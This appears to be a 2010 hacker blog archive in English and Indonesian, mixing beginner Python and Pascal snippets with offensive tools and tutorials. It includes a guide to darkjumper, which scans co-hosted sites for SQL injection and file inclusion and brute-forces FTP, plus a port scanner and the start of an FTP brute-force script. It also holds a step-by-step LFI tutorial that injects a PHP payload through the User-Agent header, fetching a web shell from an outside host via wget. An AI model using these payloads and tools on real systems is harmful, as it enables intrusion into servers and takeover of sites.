break a time, with break the c0de…

Archive for February, 2010

my darkc0der friend question

I got it working perfectly. Included the 2 trials method and blocking of Account after:)
Now the only problem am having is when putting the pin.

input = int(raw_input(“Enter ur 4-digit PIN : “))

If a char is entered, it brings up a compiler error. I want it to bring out my error like
print ‘Ure to enter an int ONLY’

Anoda thn, is there a way i can limit the input value? Like its meant to be 4-digit. Anyhelp with ‘len’. That makes it possible for only 4 digit to be entered.

Thnks in Advance.

#!/usr/bin/python
import sys

try:
	inputme = int(raw_input("[-] Enter ur 4-digit PIN : "))
except ValueError:
	print "[!] hey input numeric only asshole...."
	sys.exit(1)

filteredinput = str(inputme)
	
if len(filteredinput) != 4:
	print "[!] hey input 4 numeric asshole...."
	sys.exit(1)
	
"""Now inputme length is 4 and it's clean from str"""
print "[-] You has inputted %s" % inputme

Sorry, anoda question. Is there any built-in-function that uses the ‘wait technique’ . Smthn lyk

print ‘\nVerifying password’
#then waits for like 5 secs. After d 5secs.It prints out the next statement.
print ‘\nPassword Verified’

#!/usr/bin/python
import os
print '[-] Verifying password...'
time.sleep(5)
if password == verified:
	print '[+] Password Verified'
else
	print '[+] Password Unverified'

i hope that question can answered your question too ;)



How to check existence of file in python

Checking existence file in python

#!/usr/bin/python
import os.path
if os.path.isfile("filename"):
	print "Your file is exist !"
else:
	print "Your file is not exist !"


Introducing the for basic Loop

>>> li = ['a', 'b', 'e']
>>> for s in li:
...     print s
a
b
e
>>> print "\n".join(li)
a
b
e

>>> for i in range(5):
...     print i
0
1
2
3
4

>>> li = ['a', 'b', 'c', 'd', 'e']
>>> for i in range(len(li)):
...     print li[i]
a
b
c
d
e


DARKJUMPER V5.3 WAS RELEASE AND TUTORIAL BY GUNSLINGER_

well after darkjumper v4.0 was rock up by my big brother , mywisdom .
now i’m and mywisdom developed darkjumper v5.0 (now v5.3) and added more function in darkjumper
with this, i released this tools and some tutorial how to using this tools and what’s new in this version…

Toolname     : darkjumper.py v5.3
Developed by : mywisdom & gunslinger_ <devilzc0de.com c0der>
Released on  : 15 ,February 2010
Download url : https://sourceforge.net/projects/darkjumper/

Function(s)
1. User enumeration(s) guessing based on 4-8 chars trial taken from every site name that host at the same server
2. Scan for sql injection,local file inclusion,remote file inclusion and blind sql injection on every site(s) at the same server
3. CGI and Path(s) Scanning
4. Portscanning
5. Autobruteforcing after user enumeration
6. Autoinjector - autocolumnfinder (mysql) if found mysql bug if found
7. Proxy added
8. Verbocity added
9. IP or proxy checker and GeoIP usefull for checking your IP or your proxy work or not

Additional feature: more fake http user agent(s)

Requirement(s): - python : 2.5.x
		- perl

Now we’re go to tutorial section :

before scanning : make sure you always clearlog before scanning by execute clearlog.py

./clearlog.py

allright folks , now we’re ready to try execute darkjumper and show the option by

./darkjumper.py -h

or

./darkjumper.py --help

and we got like this…

in this version, we have 6 mode. there is :
reverseonly				| Only reverse target no checking bug
surface					| Checking for sqli and blind sqli on every web that host at the same target server
full					| Checking for sqli,blind,rfi,lfi on every web that host at the same target server
cgidirs					| Scanning cgidirs on the target server
enum [number] 				| Guessing possible user enumeration on server (4-8 chars user enumeration)
portscan [startport]-[endport]		| Scanning open port on server target

ok there is any full description on it…

- reverseonly
in this mode, darkjumper only reverse target ip. no checking any bug .
Command is :

./darkjumper.py -t [target] -m reverseonly

Example :

- surface
This mode, darkjumper reverse the target then check sqli (sql injection vulnerability) and blind (blind sql injection vulnerability) on every web that host at the same target server
Good is in this version and up, we’re also trying to finder the column automatic if we got mysql type error ! phew !
Command is :

./darkjumper.py -t [target] -m surface

example :

- full
This mode, darkjumper will reverse target then check CGI path and checking sqli (sql injection vulnerability) , blind (blind sql injection vulnerability) , lfi (local file inclusion) , rfi (remote file inclusion) on every web that host at the same target server . autoinjector or autocolumn finder working to in this mode if we got mysql error.
Command is :

./darkjumper.py -t [target] -m full

Example :

- cgidirs
This mode, darkjumper only checking CGI path checking on your target

Command is :

./darkjumper.py -t [target] -m cgidirs

Example :

- enum
This mode, darkjumper reverse the target then Guessing possible user enumeration on server (4-8 chars user enumeration)

Command is :

./darkjumper.py -t [target] -m enum [number]

Example command :

./darkjumper.py -t [target] -m enum 4

Example :

Note : You can enable autoftpbruteforcing by :

./darkjumper.py -t [target] -m enum [number] -a 

(argument -a is for autoftpbruteforcing)

Example :

- portscan
This mode, darkjumper only checking open port on your target
Command is :

./darkjumper.py -t [target] -m portscan [startport]-[endport]

Example command :

./darkjumper.py -t localhost -m portscan 15-22

Example :

You can make it verbose by :

./darkjumper.py -t localhost -m portscan 15-22 -v

Example :

And you can check your ip and your proxy .
if you wanna check your proxy your command is

./darkjumper.py -p [proxyaddress:port]

or you wanna check your own ip address

./darkjumper.py -c 

You want stop your scanning? simply type this command
killall -9 /usr/bin/python & killall -9 /usr/bin/perl

allright guys that’s it ! hopely you can enjoy !!
Don’t forget to check latest version or report bug @ https://sourceforge.net/projects/darkjumper/


comming soon !! darkjumper.py v5.0

comming soon !! darkjumper.py v5.0 just wait and see baby !!

################################################################
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################
Darkjumper.py version 5.0 help module
Developed by : mywisdom  & gunslinger_
This tool will try to find every website that host at the same server at your target
Then check for every vulnerability of each website that host at the same server
Vulnerable check including: sqli,blind,lfi and rfi
-----------------------------------------------------------------------------------

Usage : ./darkjumper.py -t [target] -m [option]
	Available option :
		reverseonly
		surface
		full
		cgidirs
		enum [number] 
		     [number] is 4, 5, 6, 7, 8 in range
		portscan [startport]-[endport]

Description:
- reverseonly
	Only reverse target no checking bug
- surface
	Reverse target, then checking for sqli and blind sqli on every web that host at the same server
- full
	Reverse target, then checking for sqli,blind,rfi,lfi on every web that host at the same server
	[this mode requires longer time,I dont suggest this mode for slow internet connection]
- enum
	Guessing possible user enumeration on server (4-8 chars user enumeration)
	If you don't set number this will guesssing default to 8 chars
	[this mode requires number 4 until 8 for guessing users]
- portscan
	Scanning open port on server
- cgidirs
	Scanning cgidirs on the server
----------------------
Sample Usage:
----------------------
Reverseonly mode :
	Example : ./darkjumper.py -t www.jasakom.com -m reverseonly
Surface scanning mode :
	Example : ./darkjumper.py -t www.jasakom.com -m surface
Full scanning mode:
	Example : ./darkjumper.py -t www.jasakom.com -m full
User enumeration mode :
	Example : ./darkjumper.py -t www.jasakom.com -m enum 8
		Warning ! you must set the number of chars for user enumeration
		If you want to set number of chars for user guessing,it should be 4 until 8 ! don't less or greater 
CGI directory scanning mode :
	Example : ./darkjumper.py -t www.jasakom.com -m cgidirs
Port scanning mode:
	Example : ./darkjumper.py -t www.jasakom.com -m portscan 0-80
----------------------------------------------------------
gunslinger@localhost:~/darkjumper$ 


matrix.py [matrix in python]

do you know matrix movie ?

here i make some code about matrix in python ..
here you go !

#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at <http://www.gnu.org/licenses/>

import os, time, random, sys

class message(str):
    def __new__(cls, text, speed):
        self = super(message, cls).__new__(cls, text)
        self.speed = speed
        self.y = -1*len(text)
        self.x = random.randint(0, display().width)
        self.skip = 0
        return self

    def move(self):
        if self.speed > self.skip:
            self.skip += 1
        else:
            self.skip = 0
            self.y += 1

class display(list):
    def __init__(self):
        self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
        self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]

    def set_vertical(self, x, y, string):
        string = string[::-1]
        if x < 0:
            x = 80 + x
        if x >= self.width:
            x = self.width-1
        if y < 0:
            string = string[abs(y):]
            y = 0
        if y + len(string) > self.height:
            string = string[0:self.height - y]
        if y >= self.height:
            return
        start = y*self.width+x
        length = self.width*(y+len(string))
        step = self.width

        self[start:length:step] = string

    def __str__(self):
        return ''.join(self)

i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
    messages.append(message(i_message[::-1], random.randint(1, 5)))
    d = display()
    for text in messages:
        d.set_vertical(text.x, text.y, text)
        text.move()
    sys.stdout.write(str(d))
    sys.stdout.flush()
    del d
    time.sleep(0.1)

Belajar Membuat Website dengan Adobe Dreamweaver

for best view, you must install konsole in your system :
to get it just type : sudo apt-get install konsole

and here example


fimap – Remote & Local File Inclusion (RFI/LFI) Scanner

fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap is similar to sqlmap just for LFI/RFI bugs instead of sql injection. It is currently under heavy development but it’s usable.

Belajar Membuat Website dengan Adobe Dreamweaver

Features

  • Check a Single URL, List of URLs, or Google results fully automatically.
  • Can identify and exploit file inclusion bugs.
  • Test and exploit multiple bugs
  • Has an interactive exploit mode
  • Add your own payloads and patches to the config.py file.
  • Has a Harvest mode which can collect URLs from a given domain for later pentesting.
  • Can use proxies (experimental).

Changes

  • All commands will now be send base64 encoded. So you can use quotes as much as you want.
  • php://input detection is now 100% reliable.
  • You can now define a POST string for relative and absolute files in the config.py.
  • TTL implemented. You can define it with “—ttl “. Default is 30 seconds.
  • Experimental HTTP Proxy support. You can define a HTTP(s) proxy with “—http-proxy localhost:8080″.
  • Googlescanner can now skip the first X pages. Use “—skip-pages X”.
  • Lots of bugfixes and additional regular expressions.

Requirements

  • Needs: Python >= 2.4

You can download fimap here:

fimap_alpha_v07.tar.gz

Or read more here.


how to reverse string in python ?

how to reverse string in python ?
simple…

#!/usr/bin/python
string = "xirtam"
reverse_string = string[::-1]
print reverse_string

Belajar Membuat Website dengan Adobe Dreamweaver

>> matrix



portscanner.py

This is python port scanner finished by me :This is python port scanner finished by me :

#!/usr/bin/python
# -*- coding: utf-8 -*-
# -*- port scanner by gunslinger_ feb 9 2010
# -*- usage : ./portscanner -t [targethost] -s [startport] -e [endport]
 
import sys
from socket import *

asciitext = '''
                   _                                          
                  | |                                         
  _ __   ___  _ __| |_   ___  ___  __ _ _ __  _ __   ___ _ __ 
 | '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
 | |_) | (_) | |  | |_  \__ \ (__| (_| | | | | | | |  __/ |   
 | .__/ \___/|_|   \__| |___/\___|\__,_|_| |_|_| |_|\___|_|   
 | |                                                          
 |_|                                               by gunslinger_  '''

option = '''
Usage: ./portscanner.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -s, --start     <portstart>     |   Number start port scanning
         -e, --end       <portend>       |   Number end port scanning
         -h, --help      <help>          |   print this help

Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000

'''

for arg in sys.argv:
	if arg.lower() == '-t' or arg.lower() == '--target':
           hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-s' or arg.lower() == '--start':
           startport = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-e' or arg.lower() == '--end':
	   endport = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
	  print (asciitext)
	  print (option)
	  sys.exit
	elif len(sys.argv) <= 1 or 2 or 3 or 4 or 5 or 6:
	  print (asciitext)
	  print (option)
	  sys.exit()
 
for port in range(int(startport), int(endport)):
    try:
      socket(AF_INET, SOCK_STREAM).connect((hostname, port)); 
      print "[+] port is open ::", port
    except: 
      pass

Example :

                   _
                  | |
  _ __   ___  _ __| |_   ___  ___  __ _ _ __  _ __   ___ _ __
 | '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
 | |_) | (_) | |  | |_  \__ \ (__| (_| | | | | | | |  __/ |
 | .__/ \___/|_|   \__| |___/\___|\__,_|_| |_|_| |_|\___|_|
 | |
 |_|                                               by gunslinger_

Usage: ./portscanner.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -s, --start     <portstart>     |   Number start port scanning
         -e, --end       <portend>       |   Number end port scanning
         -h, --help      <help>          |   print this help

Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000

gunslinger@localhost:~/python/python_documenter$


pagerankchecker.py

kemarin setelah tadi jalan – jalan di google , eh ketemu sama google pagerank .
lalu saya punya ide buat memparsingnya, dan ternyata ada hash tersendiri di pagerank checker tersebut.
yah lumayan tapi akhirnya saya bisa juga memparsingnya horeeee :D
ok silahkan test saja program dibawah ini :

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
#  Script for getting Google Page Rank of page
#  Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm
#
#  by gunslinger_ - 2010




import urllib, sys, time


def get_pagerank(url):
    hsh = cek_hash(hash_url(url))
    gurl = 'http://www.google.com/search?client=navclient-auto&features=Rank:&q=info:%s&ch=%s' % (urllib.quote(url), hsh)
    try:
        f = urllib.urlopen(gurl)
        rank = f.read().strip()[9:]
    except Exception:
        rank = 'N/A'
    if rank == '':
        rank = '0'
    return rank
    
    
def  int_str(string, integer, faktor):
    for i in range(len(string)) :
        integer *= faktor
        integer &= 0xFFFFFFFF
        integer += ord(string[i])
    return integer


def hash_url(string):
    c1 = int_str(string, 0x1505, 0x21)
    c2 = int_str(string, 0, 0x1003F)

    c1 >>= 2
    c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F)
    c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF)
    c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF)

    t1 = (c1 & 0x3C0) << 4
    t1 |= c1 & 0x3C
    t1 = (t1 << 2) | (c2 & 0xF0F)

    t2 = (c1 & 0xFFFFC000) << 4
    t2 |= c1 & 0x3C00
    t2 = (t2 << 0xA) | (c2 & 0xF0F0000)

    return (t1 | t2)


def cek_hash(hash_int):
    hash_str = '%u' % (hash_int)
    bendera = 0
    cek_byte = 0

    i = len(hash_str) - 1
    while i >= 0:
        byte = int(hash_str[i])
        if 1 == (bendera % 2):
            byte *= 2;
            byte = byte / 10 + byte % 10
        cek_byte += byte
        bendera += 1
        i -= 1

    cek_byte %= 10
    if 0 != cek_byte:
        cek_byte = 10 - cek_byte
        if 1 == bendera % 2:
            if 1 == cek_byte % 2:
                cek_byte += 9
            cek_byte >>= 1

    return '7' + str(cek_byte) + hash_str



if __name__ == '__main__':
    print '''                                                     __               __                  __                 
.-----..---.-..-----..-----.    .----..---.-..-----.|  |--.    .----.|  |--..-----..----.|  |--..-----..----.
|  _  ||  _  ||  _  ||  -__|    |   _||  _  ||     ||    <     |  __||     ||  -__||  __||    < |  -__||   _|
|   __||___._||___  ||_____|    |__|  |___._||__|__||__|__|    |____||__|__||_____||____||__|__||_____||__|  
|__|          |_____|                                                                        by gunslinger_                
'''
    host = raw_input("Please input site you want to check : ")
#    print int(get_pagerank(host))  
    for x in range(int(get_pagerank(host))):
      x += 1
      time.sleep(1)
      sys.stdout.write("\rCalculating score --> %d" % x)
      sys.stdout.flush()
    else:
      sys.stdout.write("\n%s score is %d\n" % (host,x))

lalu hasilnya akan seperti ini :

semoga bermanfaat untuk menambahkan aplikasi lainnya :)


progress.py

tahukah anda progress bar pada saat wget (linux) ?
yah, kali ini saya akan memberitahu cara membuat progresss bar command line interpreter tersebut.
lihat kode python berikut :

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# ascii command-line progress bar with percentage and elapsed time display
#
# adapted from Pylot source code (original by Vasil Vangelovski)
# modified and adapted by yudha gunslinger_ - 2010

import sys,time

class ProgressBar:
 def __init__(self, duration):
 self.duration = duration
 self.prog_bar = '[]'
 self.fill_char = '#'
 self.width = 100
 self.__update_amount(0)

 def __update_amount(self, new_amount):
 percent_done = int(round((new_amount / 100.0) * 100.0))
 all_full = self.width - 2
 num_hashes = int(round((percent_done / 100.0) * all_full))
 self.prog_bar = '[' + self.fill_char * num_hashes + ' ' * (all_full - num_hashes) + ']'
 pct_place = (len(self.prog_bar) / 2) - len(str(percent_done))
 pct_string = '%i%%' % percent_done
 self.prog_bar = self.prog_bar[0:pct_place] + \
 (pct_string + self.prog_bar[pct_place + len(pct_string):])

 def update_time(self, elapsed_secs):
 self.__update_amount((elapsed_secs / float(self.duration)) * 100.0)
 self.prog_bar += '  %ds/%ss' % (elapsed_secs, self.duration)

 def __str__(self):
 return str(self.prog_bar)

if __name__ == '__main__':
 for a in range (61):
 p = ProgressBar(60) # per 1 minute
 p.update_time(a)
 sys.stdout.write ("\r%s" % p)
 sys.stdout.flush()
 time.sleep(1)
 a += 1
 else:
 print "\n"
 print " That's all, folks !"
 print " Enjoy :)"

#    p.fill_char = '='
#    p.update_time(30) # 1/2 minute
#    print p

#    p.fill_char = '~'
#    p.update_time(60) # 1 minute
#    print p

Belajar Membuat Website dengan Adobe Dreamweaver

dan hasilnya seperti berikut :

Enjoy :)


cara menginstall pascal di linux

Kali ini saya akan beri tips menginstall pascal di linux
yah karena menurut saya sangat mengasyikan , mengapa tidak di install saja dilinux :p
ok… ok langsung saja

tools – tools yang saya pakai saat ini sebagai berikut :
* fpc
* konsole

dan editor kesukaan saya adalah kate mungkin anda juga harus mencobanya.

jika anda menggunakan operating system berbasis debian silahkan ketikan saja seperti ini di terminal anda :
* apt-get install fpc konsole kate

oiya, mengapa sekaligus menginstall konsole ?
karena pada dasarnya kate memiliki bug terminal tidak terlihat , maka dengan menginstall konsole maka terminal akan terlihat pada kate .
selain itu, mempermudah meng-kompile atau menginterpreter code yang kita buat.

nah jika sudah terinstall, maka akan seperti gambar berikut :

lalu kita tes dengan code ular_berjalan :

program ular_berjalan;
uses crt;
var
x : byte;
 begin
 clrscr;
 while x<100 do
 begin
 gotoxy(1+x,10);
 write(' ');
 write('0oSnAkEo0`o`');
 delay(10);
 x:=x+1;
 end;
end.

simpan file tersebut dengan nama up2u.pas di directory yang anda sediakan, lalu klik terminal setelah itu kompile dengan cara :
* fpc ular.pas

lalu run program di konsolenya juga dengan perintah :
* ./ular.pas

sekarang semuanya sudah selesai selamat berpascal ria di linux…!


Cara menanam shell lewat LFI (Local File Inclusion) dengan metode proc/self/environ

Cara menanam shell lewat LFI (Local File Inclusion) dengan metode proc/self/environ

Penulis : gunslinger_

dengan tutorial ini saya akan menjelaskan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ.
Ok kita langsung saja…

1. kita menemukan website yang vulnerable terhadap serangan LFI.

contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.

contoh : http://site.com/info.php?file=../../../

lalu kita mendapat error, seperti berikut…

Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.

contoh : http://site.com/info.php?file=etc/passwd

Tetapi kita masih mendapat error seperti berikut :

Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…

contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd

Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”

contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ

Jika anda mendapatkan yang seperti ini :

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :

<?system('wget http://r57.gen.tr/c100.txt -O shell.php');?>

atau

<?exec('wget http://r57.gen.tr/c100.txt -O shell.php');?>

lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://site.com/shell.php

happy hacking !


ular berjalan (snake)

berikut adalah program simple ular berjalan tanpa kontrolernya.

program ular_berjalan;
uses crt;
var
x : byte;
 begin
 clrscr;
 while x<100 do
 begin
 gotoxy(1+x,10);
 write(' ');
 write('0oSnAkEo0`o`');
 delay(1000);
 x:=x+1;
 end;
end.

penjelasan :

line 1 : nama program ular berjalan
line 2 : menggunakan kompiler pascal 98 DOS
line 3 : tentukan variable
line 4 : variable x sama dengan byte
line 5 : mulai program !!!
line 6 : bersihkan layar
line 7 : selagi nilai x lebih kecil dari nilai 100
line 8 : memulai subprogram
line 9 : pointer pergi ke xy 10 kemudian tambah 1 , lalu tambah 1 dan seterusnya sampai nilainya 99
line 10: tulis kosong, *Tips : ini hanya untuk perpindahan pointer
line 11: menulis 0oSnAkEo0`o`
line 12: variable byte x ditambah 1
line 13: sebelum x bernilai 99 maka akan terus berputar subprogramnya…
line 14: akhir dari program, jika syarat terpenuhi.

dengan beberapa code tersebut, maka akan seperti ular yang berjalan pada layar screen.
namun, saya tidak membuat kontrolernya (readkey) maka ular akan terus berjalan kekanan…

ok sekian dulu.


matrix pascal

Iseng bermain2 dgn program matrix pascal lama…

 program matriks;
uses crt;
var
 elemen : array [1..5,1..6] of byte;
 x,y : byte;
begin
 clrscr;
 elemen [1,1] :=5;
 elemen [1,2] :=3;
 elemen [1,3] :=6;
 elemen [2,1] :=7;
 elemen [2,2] :=1;
 elemen [2,3] :=8;
 elemen [3,1] :=9;
 elemen [3,2] :=5;
 elemen [3,3] :=7;
 for x :=1 to 3 do;
 begin
 for y :=1 to 3 do;
 begin
 write (elemen [x,y]);
 end;
 writeln;
end;
end.
 


simple sort

berikut adalah program pascal simple sort

Program simple_sort;
Uses crt;
Var
 Data : array [1..5] of byte;
 X,y,z : byte;
Begin
 Data [1] := 5;
 Data [2] := 4;
 Data [3] := 3;
For x:= 1 to 5 do write (data [x]);
For x:= 1 to 5 do;
 Begin
 For z:= x + 1 to 5 do
 If data [x] > data [z] then
 Y:= data [x];
 Data [x] := data [z];
 Data [z] := y;
 End;
End.

Penjelasan :

line 1 : Menamakan program simple sort (tidak mutlak)
line 2 : Menggunakan compiler pascal 98 DOS / bisa menggunakan use wincrt pada compiler pascal yang jaman windows
line 3 : Tentukan variable
line 4 : Data adalah array dari 1 sampai 5
line 5 : Variable x, y, z adalah byte
line 6 : Begin – Mulai program . seperti halnya kurung kurawal pada c maka juga akan ada penutup nya ({ })
line 7 : Array data 1 berisi nilai 5
line 8 : Array data 2 berisi nilai 4
line 9 : Array data 3 berisi nilai 3
line 10: Untuk nilai x = 1 menuju ke 5 , lalu menulis data byte x
line 11: Untuk nilai x = 1 menuju ke 5
line 12: Memulai program di dalam program . disebut juga program tersarang
line 13: Untuk nilai z = 1 menuju ke 5
line 14: Jika data x lebih besar dari data z kemudian
line 15: Data array Y sama dengan data array X
line 16: Data array Z sama dengan nilai variabel y
line 17: Akhir dari program tersarang, tetapi jika syarat telah terpenuhi.
line 18: Akhir dari program, jika semua syarat program telah terpenuhi.

Inti program tersebut adalah pertukaran data pada syarat2 tertentu (bubble sort).
Ok, sampai disini dulu selanjutnya saya akan menjelaskan analogi programnya.


ftpbrute.py

ftpbrute.py is An automated script for FTP dictionary attack (bruteforce)

#!/usr/bin/python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
################################################################
# This is ftp brute force tools [Updated].
# This was written for educational purpose and pentest only. Use it at your own risk.
# Update : More efficient
#	 : prevent loss added
#	 : Anonymous checker added
# VISIT : http://www.devilzc0de.com
# CODING BY : gunslinger_
# EMAIL : gunslinger.devilzc0de@gmail.com
# TOOL NAME : ftpbrute.py v1.5
# Big thanks darkc0de member : d3hydr8, Kopele, icedzomby, VMw4r3 and all member
# Special thanks to devilzc0de crew : mywisdom, petimati, peneter, flyff666, rotlez, 7460, xtr0nic, devil_nongkrong, cruzen and all devilzc0de family
# Greetz : all member of jasakom.com, jatimcrew.com
# Special i made for jasakom member and devilzc0de family
# Please remember... your action will be logged in target system...
# Author will not be responsible for any damage !!
# Use it with your own risk

import sys
import time
import os
from ftplib import FTP

if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
	SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
	SysCls = 'cls'
else:
	SysCls = 'unknown'

log = "ftpbrute.log"

face = 	'''
           .___             .__ .__                  _______       .___
         __| _/ ____ ___  __|__||  |  ________  ____ \   _  \    __| _/ ____     ____ _______   ____ __  _  __
        / __ |_/ __ \\\  \/ /|  ||  |  \___   /_/ ___\/  /_\  \  / __ |_/ __ \  _/ ___\\\_  __ \_/ __ \\\ \/ \/ /
       / /_/ |\  ___/ \   / |  ||  |__ /    / \  \___\  \_/   \/ /_/ |\  ___/  \  \___ |  | \/\  ___/ \     /
       \____ | \___  > \_/  |__||____//_____ \ \___  >\_____  /\____ | \___  >  \___  >|__|    \___  > \/\_/
            \/     \/                       \/     \/       \/      \/     \/       \/             \/
												http://www.devilzc0de.com
												by : gunslinger_
ftpbrute.py version 1.0
Brute forcing ftp target
Programmmer : gunslinger_
